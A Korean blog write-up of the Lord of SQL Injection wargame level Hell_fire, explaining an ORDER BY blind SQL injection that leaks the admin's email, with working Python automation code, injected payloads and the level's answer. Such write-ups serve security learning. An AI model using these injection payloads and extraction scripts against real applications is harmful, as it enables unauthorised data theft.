[Level 23. Hell_fire] Sol → ?email=admin_secure_email@emai1.com
정렬을 이용해서 admin의 이메일 주소를 맞춰야 하는 문제이다. 자동화 코드를 짜는데 꽤 시간이 걸렸다.
우선? order=1로 결과를 확인해보았다.
if($result['id'] == "admin") $result['email'] = "**************"; 부분으로 인해 id가 admin인 경우 email은 *****로 표시되고, 첫 번째 column으로 정렬을 하였기 때문에 admin이 알파벳 순서상 먼저 뜬 것을 확인할 수 있다.
order by는 정렬 기능인데, 위의 사진에서 볼 수 있듯이 views처럼 직접 column을 명시할 수도 있지만, length(content)처럼 입력하면 content의 길이 순서대로 정렬된다.
그래서 email의 길이 순서로 정렬을 해보았더니 admin의 email이 더 긴 것으로 나왔다.
이를 이용해서 length(email) = {} (원하는 쿼리)로 비교를 해주고, id로 한번 더 비교를 해주면 admin이 참인 경우를 구분할 수 있다.
예를 들어, rubiya의 email은 길이가 18이므로 length(email)=18로 정렬하면 rubiya는 참이므로 1, admin은 거짓이므로 0이 되어 admin이 rubiya보다 먼저 뜬다. 또한 둘 다 거짓인 쿼리로 정렬하면 둘 다 0이고 그 후에 id로 정렬했기 때문에 admin이 먼저 뜬다. 따라서 admin만 참인 쿼리를 첫 번째로 넣어야지만 admin이 1, rubiya가 0이 되어 admin이 두 번째로 정렬된다.
이메일의 길이를 18에서 순서대로 올리면, 계속 admin이 먼저 나오다가, 28이 되는 순간 admin이 두 번째 행에 뜨는 것을 확인할 수 있다. 따라서 이메일의 길이는 28이다.
이제 이메일을 한 글자씩 알아낼 것인데, 자동화 코드를 사용하려면 admin과 rubiya 중 어떤 것이 위에 있는지를 확인할 수 있어야 한다. 따라서 beautifulsoup4를 사용하여 html 코드를 parsing 해보았다.
pip install beautifulsoup4
import requests
from bs4 import BeautifulSoup
url = "https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php"
cookie = {'PHPSESSID': 'Cookies'}
def find_length():
pwlength = 1
while True:
param = {"order": "length(email) = {}, id #".format(pwlength)}
req = requests.get(url, params = param, cookies = cookie)
html = BeautifulSoup(req.text, "html.parser")
table = html.find_all("td")
print(table)
평소처럼 req를 보내지만, BeautifulSoup을 사용하여 td 태그를 가진 Children을 모두 가져오도록 코드를 짜주었다.
위와 같이 <td> 태그를 가진 Children이 리스트로 저장되었고, 리스트의 첫 번째와 네 번째를 비교하면 어떤 행이 위에 떴는지 알 수 있다.
def find_length():
pwlength = 1
while True:
param = {"order": "length(email) = {}, id #".format(pwlength)}
req = requests.get(url, params = param, cookies = cookie)
html = BeautifulSoup(req.text, "html.parser")
table = html.find_all("td")
if table[0] == "<td>rubiya</td>":
return pwlength
else:
pwlength+=1
table의 첫 번째 원소가 rubiya라면, 보낸 쿼리가 참이라는 의미이므로, pwlength를 return 해주고, 반대라면 길이를 1 증가시켜준다. 기존의 코드들과 참/거짓 판별 방식이 다를 뿐이고, find_all 대신 find("td")로 비교해줄 수도 있다.
(find_all은 td 태그를 가진 모든 children을 가져오고, find는 맨 첫 번째 원소만 가져오는 함수이다. 따라서 find로 가져온 문자열이 rubiya일 경우라고 작성해도 된다.)
print(table[0])을 같이 출력해보니 28에서 rubiya가 뜨는 것을 확인할 수 있다.
이제 글자 하나하나를 알아내야 하는데, 위와 같은 방식으로 참/거짓을 구분하지만 이진 탐색을 쓰기 어려웠다.
왜냐하면, 위의 방식은 rubiya는 거짓이고 admin만 참인 경우를 기준으로 판단하는 조건문이고, 이진 탐색에서는 admin의 값 자체가 참인지 거짓인지에 따라 구분해야 하기 때문이다.
따라서 그냥 BruteForce로 아스키코드 값을 전부 탐색해주고, rubiya와 admin의 n번째 글자가 같은 경우 둘 다 0 또는 1만을 반영하기 때문에 정렬에 차이가 없어지므로 128까지 탐색했는데도 값이 나오지 않는다면 둘이 같다는 결론을 내주었다.
def find_pw():
length = find_length()
print("이메일 길이 : ", length)
password = ""
for i in range(5):
value = 46
while True:
param = {"order": "ascii(substring(email, {}, 1)) = {}, id".format(i+1, value)}
print(param)
req = requests.get(url, params = param, cookies = cookie)
html = BeautifulSoup(req.text, "html.parser")
table = html.find_all("td")
if "rubiya" in table[0]:
password += chr(value)
break
else:
value+=1
if value > 128:
email = "rubiya805@gmail.cm"
password+=email[i]
break
print("비밀번호는: ", password)
코드를 추가로 설명하자면, 온점(.)보다 아스키코드값이 작은 글자는 없을 것 같아서 value = 46부터 돌렸고, 확실히 하고 싶다면 33이나 0부터 돌려도 된다. 그리고 rubiya가 먼저 나오는 경우, 즉 rubiya는 0, admin은 1인 경우에는 패스워드에 붙여주고, value가 128을 넘어간다면 둘 다 같은 값을 가진다는 의미이므로 rubiya 이메일 주소에서 i번째 문자열을 붙여주었다.
BruteForce로 하니 너무 오래 걸렸지만, 그래도 결과가 잘 나왔다.
[전체 코드]
import requests
from bs4 import BeautifulSoup
url = "https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php"
cookie = {'PHPSESSID': 'Cookie'}
def find_length():
pwlength = 1
while True:
param = {"order": "length(email) = {}, id".format(pwlength)}
req = requests.get(url, params = param, cookies = cookie)
html = BeautifulSoup(req.text, "html.parser")
table = html.find_all("td")
if "rubiya" in table[0]:
return pwlength
else:
pwlength+=1
def find_pw():
length = find_length()
print("이메일 길이 : ", length)
password = ""
for i in range(5):
value = 46
while True:
param = {"order": "ascii(substring(email, {}, 1)) = {}, id".format(i+1, value)}
print(param)
req = requests.get(url, params = param, cookies = cookie)
html = BeautifulSoup(req.text, "html.parser")
table = html.find_all("td")
if "rubiya" in table[0]:
password += chr(value)
break
else:
value+=1
if value > 128:
email = "rubiya805@gmail.cm"
password+=email[i]
break
print("비밀번호는: ", password)
find_pw()
'WarGames > SQL Injection' 카테고리의 다른 글
Lord of SQL Injection : Evil_wizard[24] (0) | 2021.12.30 |
---|---|
Lord of SQL Injection : Dark_eyes[22] (0) | 2021.12.25 |
Lord of SQL Injection : Iron_golem[21] (0) | 2021.12.24 |
Lord of SQL Injection : Dragon[20] (0) | 2021.12.22 |
Lord of SQL Injection : Xavis[19] (0) | 2021.12.19 |
댓글